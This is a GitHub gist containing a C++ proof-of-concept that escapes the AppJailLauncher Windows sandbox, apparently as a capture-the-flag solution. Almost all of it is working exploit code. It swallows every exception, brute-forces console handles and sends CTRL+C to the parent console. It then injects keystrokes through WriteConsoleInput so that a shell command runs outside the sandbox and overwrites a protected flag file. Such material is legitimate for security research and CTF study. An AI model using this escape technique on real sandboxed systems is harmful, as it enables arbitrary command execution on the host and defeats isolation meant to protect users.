Last active
November 29, 2023 14:07
-
-
Save masthoon/3b3b60dcb7f8687dc7336bcbe3236700 to your computer and use it in GitHub Desktop.
AppJailLauncher console escape
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define UNICODE | |
#define _UNICODE | |
#include <iostream> | |
#include <string> | |
#include <Windows.h> | |
#include <Psapi.h> | |
#include <fstream> | |
#pragma comment(lib, "ntdll.lib") | |
#pragma comment(lib, "Psapi") | |
#pragma comment(lib, "kernel32.lib") | |
#pragma comment(lib, "user32.lib") | |
#pragma comment(lib, "gdi32.lib") | |
#pragma comment(lib, "winspool.lib") | |
#pragma comment(lib, "comdlg32.lib") | |
#pragma comment(lib, "advapi32.lib") | |
#pragma comment(lib, "shell32.lib") | |
#pragma comment(lib, "ole32.lib") | |
#pragma comment(lib, "oleaut32.lib") | |
#pragma comment(lib, "uuid.lib") | |
#pragma comment(lib, "odbc32.lib") | |
#pragma comment(lib, "odbccp32.lib") | |
#pragma comment(lib, "shlwapi.lib") | |
#pragma comment(lib, "ws2_32.lib") | |
#pragma comment(lib, "userenv.lib") | |
#pragma comment(lib, "odbccp32.lib") | |
// Handle of the parent console /Input | |
int gStdIn; | |
static void WriteToConsoleInput(LPCWSTR str, DWORD length) | |
{ | |
if(!str || !length) return; | |
INPUT_RECORD *p, *buf; | |
DWORD i = 0; | |
p = buf = new INPUT_RECORD[ length ]; | |
for( ; i < length ; i++, p++) { | |
p->EventType = KEY_EVENT; | |
p->Event.KeyEvent.bKeyDown = TRUE; | |
p->Event.KeyEvent.wRepeatCount = 1; | |
p->Event.KeyEvent.wVirtualKeyCode = 0; | |
p->Event.KeyEvent.wVirtualScanCode = 0; | |
p->Event.KeyEvent.uChar.UnicodeChar = 0; | |
p->Event.KeyEvent.dwControlKeyState = 0; | |
if(*str == '\r') { | |
str++; | |
length--; | |
} | |
if(*str == '\n') { | |
p->Event.KeyEvent.wVirtualKeyCode = VK_RETURN; | |
str++; | |
} else { | |
p->Event.KeyEvent.uChar.UnicodeChar = *str++; | |
} | |
} | |
WriteConsoleInput((HANDLE)gStdIn, buf, length, &length); | |
delete [] buf; | |
} | |
static void SendEnterToConsole() | |
{ | |
DWORD dwTmp; | |
INPUT_RECORD ir[2]; | |
ir[0].EventType = KEY_EVENT; | |
ir[0].Event.KeyEvent.bKeyDown = TRUE; | |
ir[0].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY; | |
ir[0].Event.KeyEvent.uChar.AsciiChar = VK_RETURN; | |
ir[0].Event.KeyEvent.wRepeatCount = 1; | |
ir[0].Event.KeyEvent.wVirtualKeyCode = VK_RETURN; | |
ir[0].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0); | |
ir[1].EventType = KEY_EVENT; | |
ir[1].Event.KeyEvent.bKeyDown = FALSE; | |
ir[1].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY; | |
ir[1].Event.KeyEvent.uChar.AsciiChar = VK_RETURN; | |
ir[1].Event.KeyEvent.wRepeatCount = 1; | |
ir[1].Event.KeyEvent.wVirtualKeyCode = VkKeyScan(VK_RETURN); | |
ir[1].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0); | |
WriteConsoleInput( (HANDLE)gStdIn, ir, 2, & dwTmp ); | |
} | |
void ReadFlag() { | |
std::ifstream infile("flag.txt"); | |
std::string line; | |
std::getline( infile, line ); | |
std::cout << "Flag: " << line << std::endl << std::flush; | |
infile.close(); | |
} | |
void WriteFlag() { | |
std::cout << "Trying to overwrite flag.txt" << std::endl << std::flush; | |
std::ofstream myfile("flag.txt"); | |
if ( myfile.fail() ) { | |
std::cout << "Cannot overwrite flag.txt" << std::endl << std::flush; | |
} else { | |
myfile << "FAKE_FLAG_SHOULD_NOT_WORK\n"; | |
myfile.close(); | |
} | |
} | |
extern "C" NTSYSAPI NTSTATUS NTAPI NtContinue(IN PCONTEXT ThreadContext, IN BOOLEAN RaiseAlert ); | |
_declspec(noreturn) VOID CALLBACK DispatchStructuredException(PEXCEPTION_POINTERS ExceptionInfo) | |
{ | |
PCONTEXT ctx = ExceptionInfo->ContextRecord; | |
NtContinue(ctx, 0); | |
} | |
int main() | |
{ | |
// Ignore all exceptions :D | |
AddVectoredExceptionHandler(0, (PVECTORED_EXCEPTION_HANDLER) &DispatchStructuredException); | |
std::cout << "Press enter to start" << std::endl << std::flush; | |
getc(stdin); | |
// Read the flag (works as expected) | |
ReadFlag(); | |
// Try writing the flag file (does not work due to ACL) | |
WriteFlag(); | |
// Read again the flag (works as expected and no changes of the content due to ACL) | |
ReadFlag(); | |
gStdIn = 0; | |
DWORD mode = 0; | |
// Bruteforce handle (TODO improve) | |
while (gStdIn < 0x4000) { | |
// Check if handle is valid | |
if(GetConsoleMode((HANDLE)gStdIn, &mode)) { | |
std::cout << "Sending command injection to handle "<< gStdIn << " mode " << mode << "\n" << std::flush; | |
// Ignore control+c event in the current process | |
SetConsoleCtrlHandler(NULL, TRUE); | |
// Send CTRL+C event to the parent to terminate it | |
GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0); | |
// Write the command that will be executed outside the sandbox (write to parent console) | |
WriteToConsoleInput(L"echo REPLACED > flag.txt", 25); | |
// Execute it by sending ENTER (to the parent console) | |
SendEnterToConsole(); | |
} | |
gStdIn += 4; | |
} | |
std::cout << "Checking if payload was executed" << std::endl << std::flush; | |
// Read the flag (works and the content is now different) | |
ReadFlag(); | |
std::cout << "Press enter to exit" << std::endl << std::flush; | |
getc(stdin); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment